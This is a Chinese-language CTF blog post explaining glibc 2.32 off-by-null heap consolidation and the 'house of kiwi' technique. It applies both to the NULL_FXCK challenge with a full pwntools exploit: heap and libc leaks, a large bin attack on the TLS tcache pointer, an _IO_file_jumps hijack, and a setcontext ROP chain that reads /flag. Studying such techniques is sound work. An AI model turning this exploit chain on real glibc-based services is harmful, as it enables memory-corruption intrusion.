glibc2.32的堆风水+house of kiwi实例
196082 慢慢好起来

看我前面的文章可以发现我在做漏洞利用的总结主要是在glibc2.31以下版本的,这也就导致了在后续版本的glibc的利用方式我也没怎么掌握,后续打算将house of kiwi以及house of Emma写完之后会关注一下glibc2.31之后的how2heap的poc,如果存在差异就会写文章记录。

在学校的一次比赛当中我出了一道题,是glibc2.23版本的,当时的解题关键就是off by null进行多个堆合并,利用方式较为简单。但是就目前的glibc2.32中consolidate的条件是比较苛刻的,因此出现了新的堆风水的方式了(这篇文章也是把以前的坑填了)。

隔块堆合并手法

首先还是先看源码

1
2
3
4
5
6
7
8
if (!prev_inuse(p)) {
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");
unlink_chunk (av, p);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
static void
unlink_chunk (mstate av, mchunkptr p)
{
if (chunksize (p) != prev_size (next_chunk (p)))
malloc_printerr ("corrupted size vs. prev_size");

mchunkptr fd = p->fd;
mchunkptr bk = p->bk;

if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr ("corrupted double-linked list");

fd->bk = bk;
bk->fd = fd;
if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
{
if (p->fd_nextsize->bk_nextsize != p
|| p->bk_nextsize->fd_nextsize != p)
malloc_printerr ("corrupted double-linked list (not small)");

if (fd->fd_nextsize == NULL)
{
if (p->fd_nextsize == p)
fd->fd_nextsize = fd->bk_nextsize = fd;
else
{
fd->fd_nextsize = p->fd_nextsize;
fd->bk_nextsize = p->bk_nextsize;
p->fd_nextsize->bk_nextsize = fd;
p->bk_nextsize->fd_nextsize = fd;
}
}
else
{
p->fd_nextsize->bk_nextsize = p->bk_nextsize;
p->bk_nextsize->fd_nextsize = p->fd_nextsize;
}
}
}

可以看到这里是验证了p位,如果为0那么就检测前一个chunk的size是否等于当前chunk的size,那么就不能单纯的像以前那样利用了,我们还需要伪造前一个chunk的size了,这里需要用到large bin的机制了。

利用方式

既然我们只能进行off by null还需要堆合并,那我们就需要满足上面代码的两项要求,第一就是常规的chunk->fd->bk指向本身,其次就是size==prev_size

image-20220512205902066

此时取出size:0x510,由于残留指针,所以还是存在以下的指向关系

image-20220513100743528

并且此时在fd,bk位置伪造prev_size和size,那么我们在下面off by null的时候计算出prev_size即可绕过对于size的检查了。但是此时又出现了一个问题,fake_chunk的fd的bk以及fake_chunk的bk的fd并不指向它本身。那么现在取出size:0x500的chunk,直接覆盖掉其fd指针,使他指向size:0x510,然后large bin当中只剩下一个size:0x520,它的fd和bk都指向了large bin了,所以我们此时需要再free一个size为0x500的chunk,然后把size:0x520取出来进行覆盖,那么即可绕过consolidate时的验证了。

NULL_FXCK

基本流程

这道题同样是菜单题,但是不同的是在每次选择的时候会验证__malloc_hook和__free_hook以及会清除掉tcache的count。

然后唯一的漏洞点是modify函数,存在一个off by null但是只能执行一次。并且在delete函数会清空指针。

思路

因为只有一次off by null的机会,所以我们能够利用的方式就是上面的堆合并技巧,但是这里的create函数在写入数据的时候总是会把结尾改为\x00并且最小的chunk为0x110所以我们无法直接覆盖内容了,需要利用partial overwrite并且这里的partial overwrite还需要注意一下。我们需要让size:0x510的chunk的地址形式为:0xAAAAAAAAAAAA00AA

image-20220513130004125

形成这样的堆叠,接着申请回来并覆盖值

image-20220513130252713

当然这里由于partial overwrite的缘故第一位是否为0是需要一定概率的(上面的0x1000是因为我还没有计算大小,后续会调整)。

image-20220513130638823

可以看到这里就实现了consolidate。

下面就是泄漏地址了,首先先泄漏堆地址,因为泄漏起来较为简单,在我们consolidate之前我们所显示的堆地址都是以\x00结尾导致无法泄漏,但是在consolidate之后存在以下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
unlink_chunk (mstate av, mchunkptr p)
{
if (chunksize (p) != prev_size (next_chunk (p)))
malloc_printerr ("corrupted size vs. prev_size");

mchunkptr fd = p->fd;
mchunkptr bk = p->bk;

if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr ("corrupted double-linked list");

fd->bk = bk;
bk->fd = fd;
... ...

导致堆地址写在了其他索引的chunk当中,所以可以非常轻松的泄漏出来,不过这里的main_arena+96非常恶心,结尾是\x00有因为是strlen计算大小打印就导致泄漏不出来,但是这里使用的方法可以继续延续在unsorted bin当中的思路进行切割,但是下一步就是申请大chunk将我们consolidate的chunk放到largin bin当中。

后面也就是实现任意地址写了,首先想到的肯定就是tcache,虽然题目看起来是没有办法对tcache进行攻击的但是tcache这个结构体也只是因为tls结构存放的指针才起的作用,所以我们可以通过large bin attack来修改tls结构当中的指针,然后在堆块中布置好地址,最后修改地址进行fsop。这里采取的方式就是以前写过的house of kiwi不过以前写的比较匆忙也没有加以实践,可能看起来就会晕头晕脑的,所以这里还是从源码层面分析一边接着放出exp应该会好点。

house of kiwi

先来说一下为什么不能用house of系列中的其他方式,因为这道题的退出函数是_exit然而其他的要求是exit退出或者正常main退出,所以这里只能寻找其他攻击链。

1
2
3
4
5
6
7
8
9
10
11
12
static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
const char *function)
{
(void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
__progname, __progname[0] ? ": " : "",
file, line,
function ? function : "", function ? ": " : "",
assertion);
fflush (stderr);
abort ();
}

当assert触发时会调用这一函数,中间调用了fflush

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int
_IO_fflush (FILE *fp)
{
if (fp == NULL)
return _IO_flush_all ();
else
{
int result;
CHECK_FILE (fp, EOF);
_IO_acquire_lock (fp);
result = _IO_SYNC (fp) ? EOF : 0;
_IO_release_lock (fp);
return result;
}
}

image-20220513173015804

通过调试也可以看到调用关系

image-20220513173151430

并且这里是可读可写的,所以后续就好办了。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
from pwn import *

elf = ELF('./main')
libc = ELF('./libc-2.32.so')

# context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'amd64'


def create(size, content=None):
r.recvuntil(b'>> ')
r.sendline(b'1')
r.recvuntil(b'(: Size:')
r.sendline(bytes(str(size), encoding='utf-8'))
r.recvuntil(b'Content:')
if content is None:
r.send(b'\n')
else:
r.send(content)


def edit(idx, content):
r.recvuntil(b'>> ')
r.sendline(b'2')
r.recvuntil(b'Index:')
r.sendline(bytes(str(idx), encoding='utf-8'))
r.recvuntil(b'Content:')
r.send(content)


def delete(idx):
r.recvuntil(b'>> ')
r.sendline(b'3')
r.recvuntil(b'Index:')
r.sendline(bytes(str(idx), encoding='utf-8'))


def show(idx):
r.recvuntil(b'>> ')
r.sendline(b'4')
r.recvuntil(b'Index: ')
r.sendline(bytes(str(idx), encoding='utf-8'))


while 1:
r = process('./main')
try:
# r = process('./main')
create(0x2000)
create(0x2000)
create(0xd20)
create(0x500) #3
create(0x4f0) #4
create(0x4f0)
create(0x100)
create(0x510)
create(0x100)
create(0x500)
create(0x108) #10
create(0x4f0)
create(0x100)

delete(7)
create(0x1000)
delete(7)
delete(5)
create(0x1000)
delete(5)
delete(3)
create(0x1000)
delete(3)

create(0x500, flat(0, 0x1c60 + 1)) #3
create(0x4f0, b'\x00' * 8 + b'\x10\n') #5
delete(4)
create(0x1000)
delete(4)
create(0x510, b'\x10\n') #4
create(0x4f0) #7---4
edit(10, b'\x00' * 0x100 + p64(0x1c60))
delete(11)
show(4)
context.log_level = 'debug'
heap_base = u64(
r.recvuntil(b'1. Create', drop=True).ljust(8, b'\x00')) - 0x5a10
print(hex(heap_base))
create(0x4f0) #11
create(0x2000) #13
delete(13)
show(7)
libc_base = u64(
r.recvuntil(b'1. Create', drop=True).ljust(8, b'\x00')) - 0x1e4280
print(hex(libc_base))
tls_tcache = libc_base + 0x1eb578
_IO_file_jumps_addr = libc_base + 0x1e54c0
_IO_file_jumps_SYNC_addr = _IO_file_jumps_addr + 0x60

fake_tcache = b'\x00' * (0x7C - 0x10)
fake_tcache += p16(1)
fake_tcache += p16(1)
fake_tcache = fake_tcache.ljust(0x270 - 0x10, b'\x00')
fake_tcache += p64(_IO_file_jumps_SYNC_addr)
fake_tcache += p64(libc_base + 0x1e48c0)

payload = fake_tcache
create(0x4f0, payload) #13
delete(4)
create(0x2000)
delete(4)
payload = b'a' * 0x600 + flat(0, 0x521, libc_base + 0x1e4030, libc_base
+ 0x1e4030, 0, tls_tcache - 0x20)
create(0x600 + 0x30, payload)
delete(7)
create(0x2000)
delete(7)
create(0x4f0, fake_tcache)

pop_rdi = libc_base + next(libc.search(asm('pop rdi\nret')))
pop_rsi = libc_base + next(libc.search(asm('pop rsi\nret')))
pop_rdx = libc_base + next(libc.search(asm('pop rdx\nret')))
pop_rax = libc_base + next(libc.search(asm('pop rax\nret')))
syscall = libc_base + next(libc.search(asm('syscall\nret')))
ret = libc_base + next(libc.search(asm('ret')))

heap_addr = heap_base + 0x7298
payload = b'/flag\x00\x00\x00'
payload += flat(pop_rdi, heap_addr - 0x8, pop_rsi, 0, pop_rdx, 0,
pop_rax, 2, syscall)
payload += flat(pop_rdi, 3, pop_rsi, libc_base + libc.bss(), pop_rdx,
0x100, pop_rax, 0, syscall)
payload += flat(pop_rdi, 1, pop_rsi, libc_base + libc.bss(), pop_rdx,
0x100, pop_rax, 1, syscall)
create(0x1200, payload)

create(0x590, fake_tcache[48:])
payload = b'\x00' * 0xa0 + p64(heap_addr) + p64(ret)
create(0x400, payload)
create(0x3f0, p64(libc.symbols['setcontext'] + 61 + libc_base))

delete(15)
# delete(9)
create(
0xb40, b'\x00' * 0xb08 +
flat(0x521 | 4, libc_base + 0x1e4030, libc_base + 0x1e4030,
heap_base + 0x6020, heap_base + 0x6020))
create(0x610, b'\x00' * 0x608 + p64(0x500 | 4))

create(0x510)
r.recvuntil(b'>> ')
r.sendline(b'1')
r.recvuntil(b'(: Size:')
r.sendline(bytes(str(0x2000), encoding='utf-8'))
# gdb.attach(r)
# pause()
context.log_level = 'debug'
except:
r.close()

r.interactive()

在前面chunk布局的时候最好多放点chunk,不然就跟我一样后续加很麻烦。


参考文章:

https://www.anquanke.com/post/id/235598

 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 335.6k 访客数 访问量